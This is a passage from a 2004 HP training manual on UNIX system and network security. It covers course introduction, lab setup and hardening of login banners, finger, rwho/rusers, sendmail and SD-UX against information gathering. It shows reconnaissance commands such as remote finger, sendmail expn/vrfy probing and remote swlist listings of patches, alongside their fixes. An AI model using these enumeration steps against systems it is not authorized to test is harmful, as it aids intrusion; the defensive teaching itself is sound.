10 Solution: Monitoring Suspicious Activity with IDS/9000
11 How the Hacker Exploits Backdoors
12 How the Hacker Exploits TCP/IP Vulnerabilities

Day 4
13 How the Hacker Exploits Internet Service Vulnerabilities
14 How the Hacker Exploits NFS Vulnerabilities
15 How the Hacker Exploits NIS Vulnerabilities
16 Solution: Scanning for Vulnerabilities with Nessus

Day 5
17 Solution: Hardening HP-UX Hosts with Bastille
18 Solution: Configuring IPFilter Firewalls
19 How the Hacker Performs Damaging Tasks

http://education.hp.com 9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Overview

H3541S D.02 10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 1 — Introduction
Objectives
Upon completion of this module, you will be able to do the following:
• Define computer security.

• Describe why companies and IT managers have become more concerned about security.

• Describe why UNIX administrators need to be especially conscious of security issues.

http://education.hp.com 1-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 1
Introduction

1–1. SLIDE: STOP!

STOP!

• Computer system hacking happens; system administrators must understand how and why
hackers attack target systems.

• To understand this, we have to use the same tools and methods that a hacker would use.
This training course covers many widely available (but UNSUPPORTED) security tools
including Nessus, Crack, and Zap.

• HP Education Services expects that course attendees will use the information gained in
this course to support and enhance their systems’ security in accordance with their
employers’ security policies and procedures.

• It is essential that you are aware of the implications of using the tools described in this
course and obtain proper authorization from your manager before you install or run them
on your company’s systems.

Student Notes
Computer system "hacking" happens. We must be aware of why and how it happens. To
understand this, we have to use the same tools and methods that a "‘hacker" would use. This
training course, Practical UNIX System and Network Security (H3541S) covers many widely
available security tools including Nessus, Crack, and Zap.

HP Education Services expects that course attendees will use the information gained in this
course to support and enhance their systems’ security in accordance with their employers’
security policies and procedures. HP Education Services does not condone "hacking" or any
other attempt to breach system security.

It is essential that you are aware of the implications of using the tools described in this
course before you install or run them on your company’s systems. Some companies prohibit
network scanners, password crackers, and other contributed software on their networks. Be
sure to obtain written permission from your company’s management before you install these
utilities on your systems.

H3541S D.02 1-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 1
Introduction

1–2. SLIDE: What is Computer Security?

What Is Computer Security?

A computer is secure if you can depend on it and its software to behave as you expect.
Users should be able to trust computer systems to preserve and protect their data.

In order to truly secure a system, you must secure:

• System hardware
• System software
• Network devices
• Storage media
• Backup media
• Hardcopy printouts
• Manuals and documentation
• Data center access
• IT Personnel

Student Notes
In general, a computer may be considered secure if users can depend on it and its software to
behave as expected. Users should be able to trust computer systems to preserve and protect
their data.

Using this definition, physical disasters and buggy software are as much threats to security as
unauthorized users. There are many resources that must be considered when securing a
system.

• System hardware
• System software
• Network devices
• Storage media
• Backup media
• Hardcopy printouts
• Manuals and documentation
• Data center access
• IT Personnel

http://education.hp.com 1-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 1
Introduction

Security is everyone's responsibility. Users must select good passwords and not share
information with people. System administrators must keep the system current, install
security patches, and keep aware of current security issues. System and application vendors
must ship operating systems and software products that are more secure out of the box.

H3541S D.02 1-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 1
Introduction

1–3. SLIDE: Areas of Computer Security

Areas of Computer Security

Different organizations may emphasize different areas of computer security.

Availability Integrity
Which area is most
important to you?

Privacy

Student Notes
All security measures exist for one of three reasons:
• To maintain privacy, by ensuring that only users that should be able to access data
actually can.

• To maintain integrity, by ensuring that data can only be modified by authorized users.

• To maintain availability, by ensuring that the data and applications remain accessible.

Question: Which area of computer security is most important to your organization?

http://education.hp.com 1-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 1
Introduction

1–4. SLIDE: Corporate Computer Security Risks

Corporate Computer Security Risks

Serious computer security incidents are increasing exponentially;

companies must take appropriate measures to secure their computing resources.

Computer security incidents reported to http://www.cert.org, 1988-2002

90000
80000
70000
60000
50000
40000
30000
20000
10000
0
1988

1990

1992

1994

1995

1997

1999

2000

2002
1989

1991

1993

1996

1998

Source: http://www.cert.org/stats/ 2001

Student Notes
Computer security is becoming more and more important, as computers handle a larger and
larger percentage of corporate processes and transactions. Since 1988, the US government
funded CERT Coordination Center at Carnegie Mellon University has tracked reported
computer security incidents.
The CERT/CC statistics shown on the slide show an alarming trend: computer security
incidents are increasing at an exponential rate. The results on the slide are likely artificially
low, as well, since many corporations prefer not to report embarrassing security incidents
that might harm their businesses.
Some administrators may be tempted to respond that security is primarily the responsibility
of the firewall and network infrastructure administrators. However, a study by the FBI in
conjunction with the Computer Security Institute (CSI) study dispels this myth, too: over 80%
of the respondents in a 2001 survey identified "disgruntled employees" as the likely
perpetrators of one or more attacks. Many of these employees already had access to hosts
on their organizations' internal networks.

H3541S D.02 1-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 1
Introduction

Every user, and every administrator, on every host in your organization must take action to
ensure the security of your systems.

To learn more about CERT/CC, visit their website at http://www.cert.org. To download

a copy of the FBI/CSI survey, go to the CSI web site at
http://www.gocsi.com/fbi_survey.htm.

http://education.hp.com 1-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 1
Introduction

1–5. SLIDE: IT Managers' Security Risks

IT Managers' Security Risks

IT managers have a personal stake in securing the systems they manage.

In recent years, IT managers have been held personally liable for...

!
Violations of the law
• By failing to prevent software piracy on their systems

Violations of due care

! • By failing to install recommended security patches

• By failing to adhere to their organizations' security policies

Violations of privacy

! • By failing to protect customers' private information

• By failing to protect employees' personal information

Student Notes
Although corporations have been the primary victims of computer security incidents, in
recent years, IT Managers have been held personally liable for losses experienced as a result
of poor security policies and practices. Administrators that don't take steps to secure their
systems may become targets of lawsuits. These lawsuits generally stem from three sources:
violations of the law, violations of due care, and violations of privacy.

Violations of the Law

Violations of the law include using the computer as a tool for committing a crime and other
computer crimes. The most common crime is software piracy: the possession and use of
unlicensed software.

Violations of Due Care

Administrators that fail to install a security patch, ignore security advisories, or fail to
implement effective security policies may be held responsible for resulting losses.

H3541S D.02 1-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 1
Introduction

Violations of Privacy
Violations of privacy charges may result from an administrator's failure to adequately protect
the privacy of customer or employee information.

http://education.hp.com 1-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 1
Introduction

1–6. SLIDE: Changes in the Computing Environment: Security

Implications

Changes in the Computing Environment:

Security Implications

Changes in the IT environment in recent years have made computer security

both more critical and more difficult.

• Hackers have access to remote systems through international networks.

• Hackers have access to faster, more powerful computers – right on their desktops!
• Hackers have access to much more sophisticated hacking tools.
• Companies have become more and more reliant on their computer systems.
• Companies have partner relationships that require sharing information outside their firewalls.
• Employees have portable computers for mobile computing.
• Inexperienced managers manage unfamiliar systems.

Student Notes
Changes in the IT environment in recent years have made computer security both more
critical, and more difficult.
• Hackers have access to remote systems through international networks. In the past, few
systems had network connections. In order to attack a system, a hacker had to obtain
physical access to the target machine. Today, however, most systems are connected to
networks, and many are connected to the Internet. Hackers can easily access target
systems that are thousands of miles away.

• Hackers have access to faster, more powerful computers – right on their desktops! In the
past, cracking a password required a multi-million dollar Supercomputer. Today, hackers
can purchase very powerful PCs with similar power, for less than a thousand dollars.

• Hackers have access to much more sophisticated hacking tools. So-called “point and
hack” tools have made it easier for hackers to perpetrate sophisticated attacks.

H3541S D.02 1-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 1
Introduction

• At the same time that hacking tools and resources have become more sophisticated,
companies have become more and more reliant on the computer systems that hackers
attack.

• Companies have partner relationships that require sharing information outside their
firewalls. As companies allow more information to traverse public networks, security
risks increase.

• Employees have portable computers for mobile computing. Laptops are prone to theft,
and hackers may use the information on stolen laptops to compromise other systems.

• Inexperienced managers manage unfamiliar systems. Most administrators today manage

a variety of systems and platforms, and don’t have the expertise or time to properly
protect the systems that are responsible for.

http://education.hp.com 1-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 1
Introduction

1–7. SLIDE: Changing Administrator Roles: Security Implications

Changing Administrator Roles:

Security Implications

Many IT departments are understaffed, under-trained, and

ill-prepared to properly secure the systems they manage.

• Full-time administrators trained in computer science

– spend time monitoring systems

– keep current on all patches and security warnings

• Part-time administrators who are users

– keep systems running and users happy, but…

– have little experience or formal system administration training

• Non-existent administrators
– systems run unmonitored, and unmanaged

– vendors may be used for installations and troubleshooting when necessary

Student Notes
Many IT departments are understaffed, under-trained, and ill-prepared to properly secure the
systems they manage

System administrators vary greatly in ability and skill. Some are full-time system
administrators trained in computer science who spend time monitoring their systems. Others
are users charged with managing a system; they keep the system running but do little to
monitor the system activity. Finally, there are systems that are totally unmanaged due to lack
of resources, system age, or other reasons.

Fortunately, even small investments in security can dramatically improve system security.
Every year, the SANS institute (http://www.sans.org) compiles an annual report of the
top ten most exploited UNIX vulnerabilities. Ever year, poor user passwords have been near
the top of the list. Converting to a trusted or shadow password system minimizes the
problem, yet few administrators implement even this basic security measure. Implementing a
few basic security measures will thwart many of the most common attacks that hackers use
today.

H3541S D.02 1-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 1
Introduction

1–8. SLIDE: Overview of UNIX Security

Overview of UNIX Security

Configuring a secure UNIX system requires special care and proactive administration.

• UNIX was not designed to be secure, but rather to make security serviceable.

• Security measures are designed to prevent interference between programs.

• If properly configured, security measures control user file access and use of resources.

• Most security holes are due to poor system configuration, careless use, or buggy software.

Student Notes
Configuring a secure UNIX system requires special care and proactive administration.
Dennis Ritchie, one of the original UNIX developers, wrote the following about UNIX
security: "It was not designed from the start to be secure. It was designed with the necessary
characteristics to make security serviceable."
• UNIX usernames and password ensure that only legitimate users can login on a UNIX
system.

• UNIX file permissions allow users to control who can access and modify files and
directories.

• UNIX memory management ensures that a process can’t access private data that has been
stored in memory by another process.
These are just a few of the security mechanisms that are available in UNIX. However, these
mechanisms are rendered useless when systems are misconfigured, used carelessly, or
contain buggy software. UNIX systems can be secure, if they are carefully managed.

http://education.hp.com 1-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 1
Introduction

1–9. LAB: Using Contributed Security Tools

Directions
Carefully follow the instructions below.

NOTE: Do not skip this lab! Contributed software later in this course will not
compile successfully unless you complete these exercises!

Part I: Preparing to Use Contributed Software Security Tools

During the remainder of this course you will create and compile numerous security-related
contributed software tools and programs. Several preliminary steps are required before you
can begin to use these contributed software tools.

1. Many contributed software tools are stored by default in directories under

/usr/local/. In some versions of HP-UX the permissions on these directories are set
to 777, which allows hackers to add, remove, or even replace executables in these
directories. Have a look at the software currently in /usr/local/bin.

# ls –ld /usr/local /usr/local/bin

Your instructor should have already preloaded a number of well-known contributed

software tools in this directory that can be trusted. On your system back home, though, if
the permissions on /usr/local/bin are currently 777, you should evaluate each tool in
the /usr/local directory structure and determine who installed them, and for what
purpose. The swlist –l file | grep /usr/local command will tell you which
products were installed by root via SD-UX; files that aren’t included in this list should be
treated with some suspicion.

2. Some of the contributed software tools in this course reference the /usr/local/sbin
and /usr/local/src directories which don’t exist by default in HP-UX. Create these
directories.

# mkdir /usr/local/sbin /usr/local/src

3. If the /usr/local directory structure is currently world-writable, change the

permissions to 755 to ensure that root is the only user that can add or modify programs in
this directory in the future. Also ensure that these directories are owned by root:sys.

# chmod 755 /usr/local/ /usr/local/*

# chown root:sys /usr/local/ /usr/local/*

4. Add /usr/local/bin and /usr/local/sbin to your PATH variable.

# vi ~/.profile
PATH=/usr/local/bin:/usr/local/sbin:$PATH
# .~/.profile

H3541S D.02 1-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 1
Introduction

5. Some of the tools we will be using this week should only be available to the system
administrator. It is a good idea to store those files on a separate, secured file system that
can be unmounted when not in use. If possible, this secure file system should be on a
separate physical disk from your other file systems so it can be physically disconnected
when not in use.

Determine whether you have a spare disk on your system, by comparing the outputs of
the vgdisplay –v command and ioscan –fnC disk command. Select a disk that is
defined by the ioscan command but is NOT defined by the vgdisplay command.

# vgdisplay –v | grep “PV Name”

ioscan –fnC disk

If you have a spare disk, use it to create a new vg01 volume group containing a 200MB
logical volume called /dev/vg01/secure. Create a VxFS file system in the logical
volume and mount it. Set permissions on the mount point directory to ensure that non-
root users can’t access the file system.

# mkdir /dev/vg01
# mknod /dev/vg01/group c 64 0x010000
# pvcreate –f /dev/rdsk/cxtxdx
# vgcreate vg01 /dev/dsk/cxtxdx
# lvcreate –L 200 –n secure vg01
# newfs –F vxfs /dev/vg01/rsecure
# mkdir /secure
# chmod 700 /secure
# mount /dev/vg01/secure /secure
# chmod 700 /secure
# vi /etc/fstab
/dev/vg01/secure /secure vxfs defaults 0 3

6. In many cases, contributed software tools are developed on Linux, and must be manually
compiled by the administrator for HP-UX. This process is greatly simplified if you order
HP’s free “Linux Porting Kit CDROM” from http://software.hp.com. This CDROM
includes a bundle of header and library files for HP-UX that are 95% compliant with the
Linux APIs. The CDROM also includes the gcc compiler, flex, bison, perl , and many
other tools required to compile and run contributed software. Verify that these products
have been installed on your system from the Linux Porting Kit CDROM.

# swlist –l product | grep –i –e gcc –e flex –e bison –e perl

Perl5.B.5.6.1.E Perl for HP-UX
bison 1.28.2000-12-15 Bison (A superset of yacc)
flex 2.5.4a.2000-12-15 Flex (a superset of lex)
gcc 2.9.2000-12-15 GCC (The Gnu Compiler Collection)

7. It is important to only download contributed software from reputable sources. In the

past year, HP has made more and more contributed software available pre-compiled, as
SDUX packages that you can download and install from http://software.hp.com.
Some of the contributed software security tools currently available at this site include
Bastille, IPFilter, TCPWrapper, and others. If your classroom has Internet access, and

http://education.hp.com 1-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 1
Introduction

time permits, have a look at this site.

# netscape http://coast.cs.purdue.edu/pub/tools/unix

Another excellent source for contributed software security tools is the CERIAS/COAST
FTP site at Purdue University. Explore some of the tools available on this site, too.

# netscape ftp://coast.cs.purdue.edu/pub/tools/unix

Part II: Backup your Current Configuration

During this course you will be modifying numerous system configuration files. To ensure
that you can easily recover if you accidentally corrupt one of your critical configuration files,
a backup/restore script is included in your /labs/scripts directory. Run the script now
to make a backup of your critical configuration files, then list the contents of the backup to
see what was included.

# /labs/scripts/netfiles -s INITIAL
# /labs/scripts/netfiles -l INITIAL

H3541S D.02 1-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 2 — How the Hacker Gathers Information
about a Target System
Objectives
Upon completion of this module, you will be able to do the following:
• List seven types of information a hacker attempts to gather about a target system.

• Describe how hackers obtain information about a target via /etc/issue and dtgreet.

• Describe how hackers obtain information about a target via telnet, rlogin, and ftp.

• Describe how hackers obtain information about a target via finger.

• Describe how hackers obtain information about a target via rwho and rusers.

• Describe how hackers obtain information about a target via sendmail.

• Describe how hackers obtain information about a target via swagentd.

• Describe how hackers obtain information about a target via showmount and rpcinfo.

• Describe how hackers obtain information about a target via snmpdm.

• Describe how hackers obtain information about a target via port scanners.

• List four ways a hacker gathers information from people and other sources.

http://education.hp.com 2-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

2–1. SLIDE: The Hacker's Process: Gathering Information

The Hacker’s Process:

Gathering Information

Step 1 Step 2 Step 3 Step 4

Gather Get to Gain user Perform
information a login access to the unauthorized
about the target prompt system activities
system

UNIX
Login:

Student Notes
The slide above shows the four steps a hacker must go through to attack a target system.

First, the hacker gathers information about the target system. What OS is running on the
target? What is the target's network address? What applications are running on the target?
Having determined what type of system he is attacking, the hacker attempts to gain access to
a login prompt on the target host. After reaching a login prompt, the hacker attempts to gain
user access by guessing passwords. If the hacker manages to guess a user password, he may
then proceed to perform unauthorized activities on the target host.

The best time to stop a hacker is before the hacker gains user access to the system. The
more the hacker knows about a target system, the more likely he is to succeed. This chapter
discusses some of the tools hackers use to gather information about target systems, and the
steps that administrators can take to thwart the hacker's efforts.

H3541S D.02 2-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

2–2. SLIDE: Information Gathered by the Hacker

Information Gathered by the Hacker

The more I know about my target,

the easier it will be to find known vulnerabilities!

• What kind of machine is it?

• What is the name of the machine?
• What version of the operating system is being used?
• What applications run on the machine?
• What are the login names on the system?
• How well is the machine administered?
• Is the system administrator currently logged in?

Student Notes
Before initiating an attack, a hacker will attempt to learn as much as possible about the target
system. Specifically, the hacker may try to determine who owns the machine, who uses it,
what it does, who administers it, and which OS and applications are running on the system.
This information assists the hacker in deciding if, when, and how to attack the target host.

http://education.hp.com 2-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

2–3. SLIDE: Commands and Services that Provide Information

Commands and Services that Provide

Information

• dtgreet
• telnet
• finger
All of these services provide system
• sendmail
information without requiring a
• rwho username or password!
• ruptime
• rusers
• rstat
• swlist
• rpcinfo
• showmount
• snmpd

Student Notes
Unfortunately, hackers can oftentimes answer most or all of the questions listed on the
previous slide by using standard network services and commands. In fact, these services
may volunteer information about the target host without even requiring a valid username or
password! The slide above lists some of the commands and services hackers use to gather
information about a target host. The remaining pages in this chapter discuss the steps
required to secure each of these services. The last couple slides in the module highlight some
non-electronic means that hackers use to learn about target systems, too.

H3541S D.02 2-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

2–4. SLIDE: Securing the Login Banners (1 of 2)

Securing the Login Banners (1 of 2)

I haven't even HPUX 11.11 UNAUTHORIZED

entered a username, Login: USE PROHIBITED!
and my target is Password: Login:
telling me what OS Password:
I'm dealing with!

BAD! GOOD!

Configure a warning banner for all user logins.

Consult with your legal department to determine an appropriate message.
Ensure that the banner appears regardless of the login method.

Student Notes
When a user logs into a system via an ASCII terminal or modem, the /etc/issue file is
displayed on the screen even before the user enters a username or password. CDE, telnet,
and other network services often display welcome messages, too. If a hacker somehow
manages to get to a login prompt on your host, you should ensure that
• The greeting message doesn't divulge any information about your system configuration;

• The greeting message issues a warning rather than a greeting to unauthorized users.
The default message meets neither criteria! By default, both /etc/issue and the telnetd
daemon display a message similar to the following prior to login:

HP-UX server1 B.11.11 9000/778/B132L

Just obtaining a login prompt tells the hacker what version of the OS is running on the
system! The CDE login screen displays a "Welcome!" message for anyone that cares to login.
These messages should be changed.

http://education.hp.com 2-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

2–5. SLIDE: Securing the Login Banners (2 of 2)

Securing the Login Banners (2 of 2)

Configure the /etc/issue banner message.

# vi /etc/issue
WARNING! UNAUTHORIZED USE PROHIBITED!"
Configure the telnetd, ftpd, and rlogind banner messages.
# vi /etc/inetd.conf
telnet stream tcp nowait root /usr/lbin/telnetd telnetd -b /etc/issue
login stream tcp nowait root /usr/lbin/rlogind rlogind -B /etc/issue
ftp stream tcp nowait root /usr/lbin/ftpd ftpd –a
# inetd –c
# vi /etc/ftpd/ftpaccess
class everyone real,anonymous,guest *
banner /etc/issue

Configure the CDE banner message.

# vi /etc/dt/app-defaults/C/Dthello
Dthello*file: /etc/issue
# vi /etc/dt/config/C/Xresources
Dtlogin*greeting*labelString: "WARNING! UNAUTHORIZED USE PROHIBITED!"
# /sbin/init.d/dtlogin.rc reset

Student Notes
Several different UNIX services generate login banner messages. Be sure to update all of the
banner messages on your system.

Configuring /etc/issue for Terminals and Modems

Ensure that the /etc/issue file contains an unauthorized use message of some sort.

# vi /etc/issue
WARNING! UNAUTHORIZED USE PROHIBITED

Consult your organization's security policy or legal department for appropriate wording. The
following sample banner message, recommended by the U.S. Justice Department and posted
on http://www.cert.org/advisories/CA-1992-19.html, is a good starting
template.

This system is for the use of authorized users only. Individuals

using this computer system without authority, or in excess of their
authority, are subject to having all of their activities on this
system monitored and recorded by system personnel.

H3541S D.02 2-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

In the course of monitoring individuals improperly using this

system, or in the course of system maintenance, the activities of
authorized users may also be monitored.

Anyone using this system expressly consents to such monitoring and

is advised that if such monitoring reveals possible evidence of
criminal activity, system personnel may provide the evidence of such
monitoring to law enforcement officials.

Configuring the telnetd, ftpd, and rlogind Banner Messages

The telnet daemon may be coerced into displaying your modified /etc/issue file as well
by adding a -b option to the telnet line in /etc/inetd.conf. Alternatively, you may
specify -b without an argument to disable the telnet banner altogether. Be sure to restart
inetd any time you modify /etc/inetd.conf:

# vi /etc/inetd.conf
telnet stream tcp nowait root /usr/lbin/telnetd telnetd –b /etc/issue
# inetd –c

The rlogind daemon supports a similar option.

# vi /etc/inetd.conf
login stream tcp nowait root /usr/lbin/rlogind rlogind -B /etc/issue
# inetd –c

The wu-ftpd daemon, which is currently the standard FTP daemon in HP-UX also allows
custom banner messages. First, add a –a option to the end of the ftpd line in
/etc/inetd.conf. This causes ftpd to consult a new configuration file called
/etc/ftpd/ftpaccess.

# vi /etc/inetd.conf
ftp stream tcp nowait root /usr/lbin/ftpd ftpd –a
# inetd –c

Next, create the /etc/ftpd/ftpaccess file if it doesn’t already exist. If the file is empty,
add a class line similar to the one below. The class line determines what FTP service level
will be granted to various hosts. The sample line below allows real, anonymous, and guest
FTP access to all hosts. If you include a –a on the ftpd line in /etc/inetd.conf, but
don’t include a class line in /etc/ftpd/ftpaccess, ftpd will deny all access requests.
If you already have one or more class lines in your file, skip this step.

# vi /etc/ftpd/ftpaccess
class everyone real,anonymous,guest *

In order to display the /etc/issue file rather than the default FTP banner, add the
following line to the end of /etc/ftpd/ftpaccess, too.

# vi /etc/ftpd/ftpaccess
banner /etc/issue

http://education.hp.com 2-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

Configuring a CDE Login Banner

You should make several changes to the CDE configuration. First, modify the greeting
message that appears on the CDE login screen. This requires a change in
/etc/dt/config/C/Xresources. If the /etc/dt/config/C directory doesn’t exist,
create it with mkdir. If the file doesn’t exist on your system, create a copy from
/usr/dt/config/C/Xresources. Never modify the files in /usr/dt directly; changes
made in this directory will be overwritten when you install CDE patches. Also note that the
Xresources file treats “!” as a comment symbol. Be sure to remove the “!” symbol at the
beginning of each line you add to the file; otherwise, your changes will be ignored!

# vi /etc/dt/config/C/Xresources
Dtlogin*greeting*labelString: "WARNING! UNAUTHORIZED USE PROHIBITED!"

Next, edit the /etc/dt/app-defaults/C/Dthello file to ensure that the /etc/issue file
is displayed on the splash screen that appears after a user logs in, but before they see the
CDE desktop.

# vi /etc/dt/app-defaults/C/Dthello
Dthello*file: /etc/issue

Finally, restart the CDE login daemon to recognize your changes.

# /sbin/init.d/dtlogin.rc reset

H3541S D.02 2-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

2–6. SLIDE: Securing finger

Securing finger

finger gives me users’ usernames and

other information without even requiring a
password!

Disable the finger service.

# vi /etc/inetd.conf
#finger stream tcp nowait bin /usr/lbin/fingerd fingerd
# inetd -c

Student Notes
The finger service freely reveals system information, too. Consider the sample finger
output below:

# finger @target.com
[target.com]
Login Name TTY Idle When Bldg. Phone
root ??? tty0p0 1d Mon 01:00 111-1111
user1 Hubert Jones tty0p6 Tue 09:30 222-2222
user5 Clara Brown tty1p5 Tue 10:23 333-3333

Fingering a target system provides the hacker with usernames, real names, phone numbers,
and much more useful information. As a result, many administrators choose to disable
network access to this service. There are two ways to do this:

http://education.hp.com 2-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

Remove (or comment out) the finger service from the /etc/inetd.conf file. This will
cause people trying to use the service to receive a “Connection refused” message.
# vi /etc/inetd.conf
#finger stream tcp nowait bin /usr/lbin/fingerd fingerd
# inetd –c

Since most administrators consider finger to be a security problem, HP-UX disables the
service by default.

Note that the solution above only disables network access to the finger service. Local users
will still be able to use the finger command on the localhost. This is a minimal security
threat since any user with a valid login can glean the same information from the world-
readable /etc/passwd file and the output from the ps command anyway.

H3541S D.02 2-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

2–7. SLIDE: Securing rwho and rusers

Securing rwho and rusers

Now I know who uses which machines on the network

when — and I didn’t even need a login!

# rwho
root corpsvr:console Jan 22 13:42
user3 mailsvr:tty4p6 Jan 22 11:09

# rusers target1 target2

target1 root user1 user2 user3
target2 user5 user6
Verify that RWHOD is disabled in /etc/rc.config.d/netdaemons
# /sbin/init.d/rwhod stop
# vi /etc/rc.config.d/netdaemons
RWHOD=0
Verify that rusers and rstatd are disabled in /etc/inetd.conf
# vi /etc/inetd.conf
#rpc dgram udp wait root /usr/lib/netsvc/rstat/rpc.rstatd
#rpc dgram udp wait root /usr/lib/netsvc/rusers/rpc.rusersd
# inetd -c

Student Notes

Securing rwho and ruptime

The rwhod daemon allows users to view load information and a list of users logged into each
host on the network. Each host that is running the rwhod daemon periodically broadcasts
system status information across the network; other hosts running the rwhod daemon store
these status messages in the /var/spool/rwho directory. The rwho and ruptime
commands generate the reports shown on the slide using the information recorded in
/var/spool/rwho.

The rwhod daemon poses two significant problems for system administrators:
• Hackers may obtain valuable system status and user account information by monitoring
rwhod broadcasts.

• The periodic rwhod broadcasts may generate a significant amount of network traffic that
interferes with more important network services and applications.

http://education.hp.com 2-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

For both of these reasons, HP disables rwhod by default. If, after considering the risks, you
decide to enable rwhod, change the RWHOD=0 line in /etc/rc.config.d/netdaemons to
RWHOD=1.

Securing rusers and rup

The rusers and rup rpc commands provide functionality very similar to the rwho and
ruptime commands. These services, too, are disabled by default and should probably
remain disabled. rusers and rup are configured via the /etc/inetd.conf file:

# vi /etc/inetd.conf
#rpc dgram udp wait root /usr/lib/netsvc/rstat/rpc.rstatd 100001 2-4
#rpc dgram udp wait root /usr/lib/netsvc/rstat/rpc.rusersd 100001 2-4
# inetd -c

H3541S D.02 2-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

2–8. SLIDE: Securing sendmail/SMTP

Securing sendmail/SMTP

# telnet target.com smtp

Now I know connected to ..
that user2 220 target.com ESMTP Sendmail 8.6.6
has an account 220 target.com Sendmail 5.11 target ready.
on my target! > expn user1
550 user1 ... User unknown
> vrfy user2
250 hubert jones <user2@target.com>

Disable sendmail if possible.

# /sbin/init.d/sendmail stop
# vi /etc/rc.config.d/mailservs
SENDMAIL=0
Stay current with the most recent sendmail patch.
Set the sendmail privacy options appropriately.

# vi /etc/mail/sendmail.cf
O PrivacyOptions=goaway
# ps -ef|grep sendmail
# kill -HUP sendmailPID

Student Notes
The Simple Mail Transfer Protocol (SMTP) is an Internet standard for transferring electronic
mail between computers. In HP-UX, SMTP service is provided via the sendmail daemon
that starts automatically at boot time and runs continuously on your system. sendmail is
one of the most common services targeted by hackers for several reasons:
• The sendmail daemon runs as root. Early versions of sendmail included several bugs
that allowed hackers to escape to a shell prompt from within sendmail -- with root level
access!

• The /etc/mail/sendmail.cf configuration file is very complex. Mis-configuring this

file may leave your system vulnerable to hacker attacks.

• SMTP traffic is often allowed to pass through firewalls to allow delivery of email to and
from hosts on the public Internet.

http://education.hp.com 2-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

• The default sendmail configuration allows arbitrary users and hosts to obtain usernames
via the expn and vrfy commands. The vrfy command is intended to allow legitimate
remote users to verify a user's email address. The expn command allows users to
"expand" sendmail aliases. Unfortunately, as demonstrated on the slide, these
commands divulge valuable information to hackers. They should be disabled.
If you don’t receive email on your UNIX host, disable sendmail. Even if you disable
sendmail, the daemon will still be started on an as-needed basis. This is much safer than
running the daemon perpetually on your system.

# vi /etc/rc.config.d/mailservs
SENDMAIL=0

If you need to receive email on your UNIX host, then at least disable the expn and vrfy
commands by editing the sendmail.cf configuration file.

# vi /etc/mail/sendmail.cf
O PrivacyOptions=goaway
# ps -ef|grep sendmail
# kill -HUP sendmailPID

Be sure to edit the above line in the sendmail.cf file such that there are NO leading spaces
on the line. If a line in this file begins with a space, it will be ignored.

To prevent hackers from exploiting other known sendmail vulnerabilities, regularly check
for new releases of sendmail on the http://software.hp.com web site.

H3541S D.02 2-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

2–9. SLIDE: Securing SD-UX

Securing SD-UX

# swlist -l product 'PH*' @target.com

PHKL_15956 1.0 CDE ToolTalk patch
PHKL_16433 1.0 CDE Runtime patch
PHKL_20186 1.0 CDE Cumulative patch

Hmm ... My target system is missing the

latest CDE cumulative patch. Perhaps I can
exploit some known CDE vulnerabilities ...

Deny remote access to swagentd via the SDUX Access Control Lists.

# swacl -l root
# swacl -l root -D any_other

Student Notes
HP-UX system software is installed and removed using a suite of software tools called
Software Distributor UX (SD-UX). The tools included in SD-UX make it very easy to install,
update, remove, and list software on HP-UX systems. Unfortunately, the default
configuration also allows arbitrary remote hosts to list the software -- and patches! -- installed
on your system. The example on the slide demonstrates how a hacker might use the swlist
command to identify potential vulnerabilities on a target system.

This problem is easy to solve via SD-UX access control lists. SD-UX ACLs (no relation to HFS
or JFS ACLs) make it possible to specify exactly who can install, list, or remove software on
your system. You can view your system's current SD-UX ACLs via the swacl command.

# swacl -l root

http://education.hp.com 2-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

The same command can be used to change your ACLs, too. The sample command below
deletes the ACL that allows other hosts to list the software installed on your system:

# swacl -l root -D any_other

You can also selectively allow or disallow access to depots, and products in depots on your
